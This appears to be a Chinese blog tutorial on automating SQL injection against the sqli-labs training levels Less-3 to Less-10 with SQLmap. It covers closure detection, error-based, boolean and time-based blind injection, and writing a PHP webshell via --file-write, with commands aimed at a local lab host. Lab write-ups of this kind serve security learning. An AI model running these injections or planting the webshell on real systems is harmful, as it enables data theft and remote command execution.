SQLmap 通关 sqli-labs 系列(二):GET 型注入进阶

发布时间:2026/6/25 15:38:47
SQLmap 通关 sqli-labs 系列(二):GET 型注入进阶 摘要在系列第一篇中我们拿下了最简单的 Less-1 和 Less-2体验了 SQLmap 的基本用法。从 Less-3 开始sqli-labs 在 GET 型注入中陆续引入了括号、双引号、双注入Double Injection和盲注等复杂情况。本篇将带你逐一攻克 Less-3 到 Less-10学会应对各种闭合方式、利用报错双注入、导出文件以及驾驭布尔盲注和时间盲注。文中每一步都配有命令、关键输出解读和截图建议让你在看懂手工原理的同时用 SQLmap 实现自动化秒杀。一、前情回顾与关卡全景在 Less-1 和 Less-2 中我们已经会使用sqlmap -u http://靶机/sqli-labs/Less-1/?id1 --batch --dbs接下来我们要面对的是 GET 型注入的“变体全家福”Less-3带括号的单引号闭合($id)Less-4带括号的双引号闭合($id)Less-5单引号双注入error-based double queryLess-6双引号双注入Less-7导出文件型INTO OUTFILELess-8布尔盲注Less-9时间盲注Less-10双引号时间盲注我们的目标是用 SQLmap 全部自动化通关并理解它背后的选择。二、闭合方式的自动识别Less-3 与 Less-42.1 Less-3括号单引号手工视角后台 SQL 为SELECT * FROM users WHERE id(1)需要输入1)来闭合。SQLmap 命令sqlmap -u http://192.168.137.1/sqli-labs/Less-3/?id1 --batch --dbsSQLmap 会自动尝试各种前后缀组合最终输出这就说明它找到了合适的闭合方式内部会使用1) AND ...之类的 Payload。随后继续执行--tables、--dump即可。2.2 Less-4括号双引号同理直接套用命令只需修改 URL 中的关卡号sqlmap -u http://192.168.137.1/sqli-labs/Less-4/?id1 --batch --dbs自动通过。三、双注入Double InjectionLess-5 和 Less-63.1 什么是双注入当页面不直接回显数据但会显示 SQL 错误信息时我们可以利用extractvalue()或updatexml()等函数在报错信息中“夹带”数据。手工 Payload 如?id1 and extractvalue(1,concat(0x7e,database()))--SQLmap 将这类技术归类为error-based并能自动识别双注入。3.2 Less-5 实战sqlmap -u http://192.168.137.1/sqli-labs/Less-5/?id1 --batch --dbs输出中会包含error-based字样例如MySQL 5.5 AND error-based - WHERE or HAVING clause (EXP)。这表明它正在使用报错注入数据会通过 SQL 错误消息返回。3.3 Less-6双引号版本命令相同SQLmap 自动调整闭合sqlmap -u http://192.168.137.1/sqli-labs/Less-6/?id1 --batch --dbs无需多余操作。四、导出文件型注入Less-7Less-7 的后台 SQL 类似SELECT * FROM users WHERE id((1))且允许使用INTO OUTFILE写文件。手工注入通常会写入 webshell。4.1 常规数据提取SQLmap 默认会尝试 UNION 注入来获取数据但它可能因闭合复杂而失败。我们可以手动指定闭合sqlmap -u http://192.168.137.1/sqli-labs/Less-7/?id1 --prefix)) --suffix# --union-cols3 --batch --dbs--prefix))闭合前面的两个括号和单引号。--suffix#用#注释掉后面的内容。--union-cols3手工已知列数为 3直接指定可加快速度。成功后即可--dump数据。4.2 写文件Webshell如果你知道 Web 绝对路径通常 sqli-labs 环境在/var/www/html/下可以直接用 SQLmap 写入一句话木马sqlmap -u http://192.168.137.1/sqli-labs/Less-7/?id1 --file-writeshell.php --file-dest/var/www/html/shell.php --batch其中shell.php内容为?php system($_GET[cmd]);?。前提是 MySQL 具有 FILE 权限且secure_file_priv允许写入。这在手工注入时可能已确认过。五、盲注的自动化艺术Less-8、Less-9、Less-105.1 盲注的两大类型布尔盲注Boolean-based blind页面根据查询真假返回不同内容如“You are in....”和空白。时间盲注Time-based blind无论查询结果如何页面都相同只能通过SLEEP()等延迟来判断。SQLmap 使用--technique参数来指定技术也可让工具自动选择。5.2 Less-8布尔盲注sqlmap -u http://192.168.137.1/sqli-labs/Less-8/?id1 --batch --dbsSQLmap 自动识别为 Boolean-based blind。如果想强制使用布尔技术提高速度可用sqlmap -u ... --technique B --dbs盲注过程中它会逐字符猜解数据库名5.3 Less-9 与 Less-10时间盲注Less-9 为单引号时间盲注Less-10 为双引号。命令sqlmap -u http://192.168.137.1/sqli-labs/Less-9/?id1 --technique T --time-sec 2 --batch --dbs--technique T强制使用时间盲注。--time-sec 2设置判定延迟阈值为 2 秒内网环境可设更小。时间盲注速度较慢可以通过--threads 5增加线程注意不要太高。Less-10 的 URL 改为Less-10/即可。六、总结我们学会了放心交给 SQLmap 自动识别各种闭合方式利用 error-based 双注入获取数据指定--prefix、--suffix和--union-cols应对复杂闭合在盲注关卡中指定技术并加速。手工注入让你知道路在哪里SQLmap 让你开车过去。记住路才能在任何地方都不迷航。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。